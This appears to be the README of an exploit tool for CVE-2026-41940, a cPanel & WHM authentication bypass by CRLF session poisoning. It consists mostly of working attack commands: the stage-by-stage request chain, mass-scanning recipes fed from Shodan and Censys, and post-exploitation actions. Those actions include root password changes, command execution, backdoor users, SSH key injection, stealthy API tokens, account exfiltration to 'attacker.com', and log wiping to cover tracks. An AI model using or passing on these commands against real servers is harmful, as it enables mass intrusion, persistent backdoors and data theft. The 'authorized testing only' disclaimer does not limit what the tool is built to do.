
Exploit PoC for CVE-2026-41940, a cPanel & WHM authentication bypass via CRLF injection. Includes mass scanning, post-exploitation actions, and an interactive shell for authorized testing.
Tool by: Ishan Oshada | GitHub
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY. Unauthorized use is illegal.


CVE-2026-41940 is a CRLF injection vulnerability in cPanel & WHM (versions < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).
The saveSession() function writes session data after applying filter_sessiondata(), but the filter is applied too late. By injecting CRLF (\r\n) characters inside the Authorization: Basic header, an attacker can poison the on‑disk session file with arbitrary key‑value pairs (e.g., hasroot=1, tfa_verified=1, user=root).
When the poisoned session is later loaded, cPanel/WHM grants full root access without any password.
--verbose) – shows full HTTP requests/responsesgit clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
Instead of building from source, you can download the latest stable executables directly from the repository. These are automatically generated for every update:
Note: If using Linux or macOS, remember to grant execution permissions after downloading:
# Basic scan
go run main.go -u https://target.com:2087
# List all cPanel accounts
go run main.go -u https://target.com:2087 -action list
# Interactive WHM shell
go run main.go -u https://target.com:2087 -action shell
# Mass scan with urls.txt
go run main.go -l urls.txt -t 20 -o results.json
Once inside the shell (-action shell), use these commands:
The repository includes urls.txt with 1000 example targets for mass scanning.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# Basic mass scan (10 threads)
go run main.go -l urls.txt
# Fast mass scan (50 threads, save results)
go run main.go -l urls.txt -t 50 -o results.json
# Mass scan with post-exploit action
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# Mass scan with verbose output
go run main.go -l urls.txt -t 10 --verbose
# Mass scan with increased timeout (slow networks)
go run main.go -l urls.txt -t 30 -timeout 30
# Generate IP range (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# Generate IP range (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# From Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# From Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ VULNERABLE TARGET DETECTED ║
╠════════════════════════════════════════════════════════════════╣
║ Target: https://target.example.com:2087 ║
║ Token: /cpsess1234567890 ║
║ Version: 11.76.0.22 ║
║ Session: :od2aMhg5zJeQunUy... ║
║ API URL: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] Action: LIST
• User: admin | Domain: example.com
• User: backup | Domain: backup.example.com
• User: client1 | Domain: client1.com
════════════════════════════════════════════════════════════════════
SCAN COMPLETE SUMMARY
════════════════════════════════════════════════════════════════════
Total Targets Scanned: 1000
Vulnerable Targets: 47
Time Elapsed: 125.34 seconds
VULNERABLE TARGETS:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
Token: /cpsess1111111111
Version: 11.76.0.22
Session: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
Token: /cpsess2222222222
Version: 11.86.0.15
Session: Km2psnYR9w3rRkLU...
3. https://example.com:2087
Token: /cpsess3333333333
Version: 11.118.0.42
Session: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] Results saved to: results.json
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # Documentation
├── bin/ # Pre-built multi-platform executables
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # Main source code
├── urls.txt # 1000 example targets
├── go.mod # Go module file
├── .gitignore # Git ignore file
└── results.json # Output file (generated)
This tool is for educational purposes and authorised penetration testing only.
Unauthorised access to computer systems is illegal under:
The author assumes no liability for misuse. Use at your own risk.
By using this tool, you agree that you have proper authorisation to test the target systems.
Ishan Oshada
If you find this tool useful:
Happy Hacking! 🚀
Remember: With great power comes great responsibility. Use ethically.
| Stage | Action | Description |
|---|
| 1 | POST /login/?login_only=1 | Request pre‑auth session cookie with wrong credentials |
| 2 | GET / + CRLF Authorization header | Poison the session file with hasroot=1, user=root, etc. |
| 3 | GET /scripts2/listaccts | Force session cache to reload poisoned file (propagation) |
| 4 | GET /cpsess<TOKEN>/json-api/version | Verify root access – success = 200 + version data |
| Platform | Location |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | Purpose | Command |
|---|
| 1 | Basic single target scan | go run main.go -u https://target.com:2087 |
| 2 | List all cPanel accounts | go run main.go -u https://target.com:2087 -action list |
| 3 | Change root password | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | Execute system command | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | Get server information | go run main.go -u https://target.com:2087 -action info |
| 6 | Create backdoor user | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | Create API token (stealthy) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | Inject SSH key | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | Dump & exfiltrate account | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | Wipe logs & cover tracks | go run main.go -u https://target.com:2087 -action wipe |
| 11 | Interactive WHM shell | go run main.go -u https://target.com:2087 -action shell |
| 12 | Mass scan from file | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | Save results to JSON | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | Enable verbose debugging | go run main.go -u https://target.com:2087 --verbose |
| 15 | Pipe from other tools | cat urls.txt | go run main.go -t 20 |
| 16 | Increase timeout | go run main.go -u https://target.com:2087 -timeout 30 |
| Action | Flag | Description | Stealth Level |
|---|
list | -action list | List all cPanel accounts | Low |
passwd | -action passwd -passwd NEWPASS | Change root password (noisy) | High (detectable) |
cmd | -action cmd -cmd "id" | Execute OS commands | Medium |
info | -action info | Show hostname, load, version | Low |
adduser | -action adduser -new-user U -new-domain D | Create backdoor cPanel user | Medium |
apitoken | -action apitoken [-tokenname NAME] | Generate persistent API token | Very Low |
sshkey | -action sshkey -sshkey "ssh-rsa..." | Inject SSH public key into root | Very Low |
dumpacct | -action dumpacct -dumpuser USER -exfil URL | Backup & exfiltrate account | Medium |
wipe | -action wipe | Disable WAF, clear logs, wipe history | Cover tracks |
shell | -action shell | Interactive WHM shell | Low |
| Command | Description | Example |
|---|
accounts | List all cPanel accounts | accounts |
passwd <pass> | Change root password | passwd MyNewPass123!2006 |
exec <command> | Execute system command | exec "cat /etc/passwd" |
info | Show server information | info |
version | Show cPanel version | version |
help | Show available commands | help |
exit | Exit shell | exit |
| Option | Type | Default | Description |
|---|
-u | string | - | Target URL (e.g., https://example.com:2087) |
-l | string | - | File with targets (one per line) |
-t | int | 10 | Number of concurrent threads |
-action | string | - | Post-exploit action |
-passwd | string | - | New password (for passwd/adduser) |
-cmd | string | - | Command to execute (for cmd action) |
-new-user | string | - | Username for adduser action |
-new-domain | string | - | Domain for adduser action |
-tokenname | string | - | Name for API token (apitoken action) |
-sshkey | string | - | Public SSH key to inject (sshkey action) |
-dumpuser | string | - | Username to backup (dumpacct action) |
-exfil | string | - | Remote URL for exfiltration (dumpacct action) |
-o | string | - | Output JSON file (auto-saves when found) |
--verbose | bool | false | Show HTTP requests/responses |
-h | bool | false | Show help menu |
| Branch | Patched Version | Vulnerable < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |